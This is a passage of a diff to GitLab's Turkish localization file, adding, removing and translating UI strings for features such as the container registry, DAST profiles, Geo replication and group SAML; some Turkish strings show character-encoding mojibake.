msgstr[0] "%{count} Etiket"
msgstr[1] "%{count} Etiket"
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr "Sona erme ilkesi devre dışı"
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr "Kopyala"
msgid "Copy %{http_label} clone URL"
msgstr "%{http_label} klon URL'sini kopyala"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "%{protocol} klon URL'sini kopyala"
@@ -8374,9 +8630,6 @@ msgstr "Komutları kopyala"
msgid "Copy commit SHA"
msgstr "İşlem SHA'sını kopyala"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr "DeÄŸeri kopyala"
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "Ãœlke"
@@ -8539,17 +8813,15 @@ msgstr "Kapsam"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr "OluÅŸtur"
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8608,7 +8880,7 @@ msgid "Create and provide your GitHub %{link_start}Personal Access Token%{link_e
msgstr ""
msgid "Create blank project"
-msgstr ""
+msgstr "BoÅŸ proje oluÅŸtur"
msgid "Create branch"
msgstr "Dal oluÅŸtur"
@@ -8694,9 +8966,6 @@ msgstr "Yeni dosya oluÅŸtur"
msgid "Create new file or directory"
msgstr "Yeni dosya veya dizin oluÅŸtur"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Yeni etiket oluÅŸtur"
@@ -8718,6 +8987,9 @@ msgstr "Gereksinim oluÅŸtur"
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "OluÅŸturdu:"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr "%{timestamp} oluÅŸturuldu"
@@ -8934,6 +9209,9 @@ msgstr "Epik oluÅŸturuluyor"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -8989,19 +9267,19 @@ msgid "Current vulnerabilities count"
msgstr ""
msgid "CurrentUser|Buy Pipeline minutes"
-msgstr ""
+msgstr "İş Hattı dakikası satın al"
msgid "CurrentUser|Edit profile"
-msgstr ""
+msgstr "Profili düzenle"
msgid "CurrentUser|One of your groups is running out"
msgstr ""
msgid "CurrentUser|Preferences"
-msgstr ""
+msgstr "Tercihler"
msgid "CurrentUser|Start an Ultimate trial"
-msgstr ""
+msgstr "Ultimate denemesini baÅŸlat"
msgid "CurrentUser|Upgrade"
msgstr "Yükselt"
@@ -9091,13 +9369,13 @@ msgid "Customize your pipeline configuration."
msgstr ""
msgid "CustomizeHomepageBanner|Do you want to customize this page?"
-msgstr ""
+msgstr "Bu sayfayı özelleştirmek istiyor musunuz?"
msgid "CustomizeHomepageBanner|Go to preferences"
-msgstr ""
+msgstr "Tercihlere git"
msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
-msgstr ""
+msgstr "Bu sayfada varsayılan olarak projelerinizin listesini gösterilir. Ancak burası, projelerin etkinliklerini, grupları, yapılacaklar listenizi, atanmış sorunları, atanmış birleştirme isteklerini ve daha fazlasını gösterecek şekilde değiştirilebilir. Bunu tercihlerinizdeki \"Ana sayfa içeriği\" altından değiştirebilirsiniz"
msgid "Cycle Time"
msgstr "Döngü Süresi"
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "%{subjectFilterText} ve %{selectedLabelsCount} etiket gösteriliyor"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr "Tarih aralığı %{maxDateRange} günü aşamaz."
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "Ayın günü"
@@ -10054,13 +10367,19 @@ msgstr "Şuna dağıt..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Ä°ptal Et"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "%{name} iptal et"
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Kullanıcı adı"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Açıklama:"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr "Tasarım Yönetimi dosya ve verileri"
@@ -10479,13 +10789,13 @@ msgstr "Ayrıntılar (varsayılan)"
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10540,7 +10850,7 @@ msgid "DevopsAdoption|Feature adoption is based on usage in the last calendar mo
msgstr ""
msgid "DevopsAdoption|Filter by name"
-msgstr ""
+msgstr "İsme göre filtrele"
msgid "DevopsAdoption|Issues"
msgstr ""
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Uygulamayı düzenle"
msgid "Edit comment"
msgstr "Yorumu düzenle"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "Açıklamayı düzenle"
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Grubu düzenle: %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr "Etkin"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "Etkin"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr "Proje seç"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr "Dönüm noktalarını genişlet"
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Kenar çubuğunu genişlet"
@@ -12356,6 +12687,9 @@ msgstr "Genel grupları keşfedin"
msgid "Export"
msgstr "Dışa aktar"
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr "Dışa aktarma sorunları"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "Projeyi dışa aktar"
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr "Harici Viki"
-
msgid "External authentication"
msgstr "Harici kimlik doÄŸrulama"
@@ -12425,13 +12750,16 @@ msgstr "Sınıflandırma etiketi"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13046,15 +13377,15 @@ msgid "Filter"
msgstr "Süzgeç"
msgid "Filter by"
-msgstr ""
+msgstr "Filtrele:"
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Kapalı olan %{issuable_type} türüne göre filtrele."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Açık olan %{issuable_type} türüne göre filtrele."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr "Duruma göre filtrele"
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr "Flowdock Git kaynak erişim anahtarı"
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "Daha fazla bilgi için belgeyi okuyun."
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "Daha fazla bilgi için şu adrese gidin: "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr "Çatal proje"
msgid "Fork project?"
msgstr "Proje çatallansın mı?"
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Buradan çatallandı:"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr "Erişilemeyen bir projeden çatallandı"
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "Çatallama devam ediyor"
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "Senkronizasyon bekliyor"
@@ -13714,6 +14078,9 @@ msgstr "Geo|Belli gruplardaki projeler"
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Tekrar indir"
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Yeniden senkronize et"
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Durum"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr "Bilinmeyen konum"
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr "Gitea içe aktarma"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "GitLab Sayfaları"
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr "Geri dön (dosyaları ararken)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "Tam ekrana git"
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Grup profil resmi"
@@ -14428,9 +14858,6 @@ msgstr "Grup iş hattı kayıtları başarıyla sıfırlandı."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "Sık ziyaret edilenler"
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr "Temizlik hizmeti, dışa aktarma, yol, transfer, kaldırma, arşivleme."
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15418,13 +15854,13 @@ msgid "Import from Jira"
msgstr ""
msgid "Import group"
-msgstr ""
+msgstr "Grubu içe aktar"
msgid "Import group from file"
-msgstr ""
+msgstr "Grubu dosyadan içe aktar"
msgid "Import groups"
-msgstr ""
+msgstr "Grupları içeri aktar"
msgid "Import in progress"
msgstr "İçe aktarma devam ediyor"
@@ -15445,10 +15881,10 @@ msgid "Import multiple repositories by uploading a manifest file."
msgstr ""
msgid "Import project"
-msgstr ""
+msgstr "Projeyi içe aktar"
msgid "Import project from"
-msgstr ""
+msgstr "Projeden içe aktar"
msgid "Import project members"
msgstr "Proje üyelerini içe aktar"
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15508,7 +15941,7 @@ msgid "ImportProjects|Error importing repository %{project_safe_import_url} into
msgstr ""
msgid "ImportProjects|Import repositories"
-msgstr ""
+msgstr "Depoları içe aktar"
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -15615,7 +16048,7 @@ msgid "InProductMarketing|Code owners and required merge approvals are part of t
msgstr ""
msgid "InProductMarketing|Create a project in GitLab in 5 minutes"
-msgstr ""
+msgstr "GitLab'da 5 dakikada bir proje oluÅŸturun"
msgid "InProductMarketing|Create your first project!"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
